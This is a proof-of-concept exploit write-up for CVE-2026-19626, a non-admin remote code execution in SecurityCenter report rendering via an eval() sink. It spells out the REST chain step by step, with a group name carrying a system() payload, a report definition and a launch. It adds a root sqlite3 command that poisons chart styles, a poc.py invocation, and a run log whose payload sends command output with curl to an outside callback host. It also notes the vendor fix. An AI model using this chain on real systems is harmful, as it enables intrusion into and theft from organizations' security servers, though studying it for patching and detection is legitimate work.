
Proof-of-concept exploit for CVE-2026-19626, an authenticated remote code execution in SecurityCenter report generation, demonstrating a non-admin chain via group name injection and PHP eval.

Status: CONFIRMED — pure-REMOTE, non-admin, REST-only (6.7.2-14.el9 lab, 2026-08-21).
The weaponized chain (this is what poc.py does):
POST /rest/group with name: "{=system('<cmd>')}" — braces/quotes accepted
verbatim (the group controller has no charset check)POST /rest/reportDefinition — PDF report, one pieChart component,
user/sumgroup query, labelColumns: groupIDPOST /rest/reportDefinition/{id}/launchsubstituteParams() substitutes the placeholder with the
group name BEFORE the eval loop runs — the payload lands inside the
format string and fires as tns{label}{=...}eval("$expr = system('<cmd>');")system()'s return value is substituted back into the label — the command's
output renders into the pie legend of the finished report (the exfil channel)Marker /tmp/pwn_label created by this exact chain (no DB access, no style write,
no file upload). Note the zero-member group still produces a sector — the sumgroup
aggregation includes it.
Additionally confirmed by direct invocation and full-pipeline style poison (see
history below): the eval sink is live in the shipped substituteParams(), and a
poisoned default legendFormat style attribute fires on ANY pie-chart render
including non-admin-owned reports.
Delivery caveat (why the pure-REST PoC stalls): the report definition's inline
style object — where the PoC plants legendFormat/labelFormat — is stored
verbatim in xmlDefinition but discarded at render: getReport(CONTEXT_RENDER)
rehydrates components from the normalized tables and overwrites
$component['style'] with StyleLib::getComponentStyle() (fetched by styleID).
The style-import controller exists (Styles::add, parses an uploaded XML file via
xmlToStyles, with the admin-only check commented out) but no route to it is
exposed — 12-verb/path volley (style, styles, style::add, style/import ×
POST/PUT/PATCH, with a valid staged filename) all return error 10, and the UI bundle
contains zero style-endpoint calls. Pure-remote delivery therefore requires a
style write path that 6.7.2 does not expose; the rendered chain was demonstrated
via the style attribute directly.
/opt/sc/src/lib/ReportChartingLib.php (SecurityCenter 6.8.0 and earlier):
eval("\$expr = {$exprs[1]};") in substituteParams(). Pie-chart
legend/label format strings ($style['legendFormat'] / $style['labelFormat'],
lines 4952/4983) support {=<arithmetic>} placeholders, e.g. the built-in default
{={sector}+1}. The expression body is user-supplied report-definition content →
arbitrary PHP.eval("\$sectorLabels->setBackground($labelStyle);") with
labelStyling from the chart style. The 6.8.0 guard was
if (strstr($labelStyle, ";")) // EXPLOIT???! Revert to default — rejects ; only;
system('cmd') passes.if (is_callable($matches['name'])) gate on bar-shape specs like
circleShape(10). system(id) passes the gate. The 6.9.0 fix comment states it
outright: "is_callable() is NOT a safe gate (is_callable("system") === true)".Any org user with report-definition rights reaches all three at render time
(generateReport.php / Jobd). ReportDefinitions::launch() refuses ROLE_ADMIN —
the bug class is explicitly non-admin.
Command output is substituted back into the label text, so the rendered report is the exfil channel.
eval() removed; {=...} expressions restricted to
/^[0-9.\s()+\-*\/]+/ and evaluated by a tokenizer; resolveLabelStyleArgs() parses
label styling into an argument list; isAllowedBarShapeFunction() allowlist with
numeric-only parameters.
./poc.py --target https://sc.lab --username analyst --password 'pass' --cmd 'id'
Group-name label injection (the remote chain above): creates the payload-named
group, builds the sumgroup report, launches, and polls for the rendered result —
command output appears in the pie legend of the finished report. Payload
constraint: no } characters (the {=...} regex is non-greedy to the first
brace); command output rides the label substitution, so read it from the report
or verify via marker/timing.
style.legendFormat/labelFormat is stored verbatim in
xmlDefinition but discarded at render — components rehydrate styles from
the Style tables via styleID (ReportDefinitionLib render context overwrites
$component['style'] with StyleLib::getComponentStyle()).Styles::add, admin check commented out,
parses an uploaded XML via xmlToStyles) but no route is wired — 12
verb/path combos (incl. sub-resource /rest/style/{id}) all return error 10,
and the UI bundle contains zero style-endpoint calls.{label} substitution precedes the
eval loop, so ANY attacker-influenced label (group name here; user profile
fields and scanned-asset hostnames are the same shape) carries the payload.# direct sink (on-box)
/opt/sc/support/bin/php /tmp/t.php # requires defines+phpchartdir+ReportChartingLib
# style poison (root) + any report launch
/opt/sc/support/bin/sqlite3 /opt/sc/application.db \
"UPDATE AppStyleAttribute SET value='<*block*>{=system(\"touch /tmp/pwned\")}<*/*>' \
WHERE attribute='legendFormat' AND styleID IN (19,20)"
# restore: DELETE those attribute rows (falls back to built-in defaults)
$ python3 cve-2026-19626.py --target https://1.1.1.1 --username user --password user --cmd id
[*] callback on 2.2.2.2:38511, payload='{=system("curl -d \\"$(id)\\" http://2.2.2.2:38511")}'
[+] authenticated, token 21137241...
[+] created group carrying payload name (id 9)
[+] reportDefinition #51 created — UI: https://1.1.1.1/#/reports/51
[+] report launched — chart render evals the group-name payload
[*] waiting for output callback ...
[+] command output:
uid=250(tns) gid=250(tns) groups=250(tns) context=system_u:system_r:initrc_t:s0